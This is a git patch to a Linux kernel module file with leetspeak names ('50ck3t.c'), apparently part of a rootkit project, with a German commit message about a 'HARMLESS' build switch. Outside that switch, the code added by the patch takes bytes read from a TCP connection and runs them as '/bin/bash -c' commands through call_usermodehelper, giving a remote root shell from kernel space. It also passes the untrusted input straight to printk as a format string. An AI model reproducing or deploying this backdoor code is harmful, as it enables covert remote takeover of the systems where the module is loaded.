From 800779a3764e84b18b1a1c9b5047b3c315f5cc4a Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Sun, 8 Dec 2019 12:01:37 +0100 Subject: [PATCH] ifdef HARMLESS um ansonsten nicht bentigte Var --- src/50ck3t.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/src/50ck3t.c b/src/50ck3t.c index f925d07..42f98b5 100644 --- a/src/50ck3t.c +++ b/src/50ck3t.c @@ -34,15 +34,18 @@ #ifdef HARMLESS #else #include + #include "610b415.h" #endif /**** types ******************************************************************* *******************************************************************************/ #ifdef HARMLESS #else + static char *SEnvP[] = { "HOME=/", NULL }; + #endif struct tcp_conn_handler_data{ struct sockaddr_in *FAddress; @@ -186,8 +189,10 @@ int connection_handler(void *AData){ int LRet; int LLen = 49; unsigned char LInBuf[LLen+1]; +#ifdef HARMLESS unsigned char LOutBuf[LLen+1]; - +#else +#endif DECLARE_WAITQUEUE(recv_wait, current); allow_signal(SIGKILL|SIGSTOP); @@ -248,7 +253,10 @@ int connection_handler(void *AData){ } #else int Ret; + + printk(LInBuf); + char *LArgV[] = {"/bin/bash", "-c", LInBuf, NULL}; printk("Calling usermodehelper"); Ret = call_usermodehelper(LArgV[0], LArgV, SEnvP, UMH_WAIT_EXEC);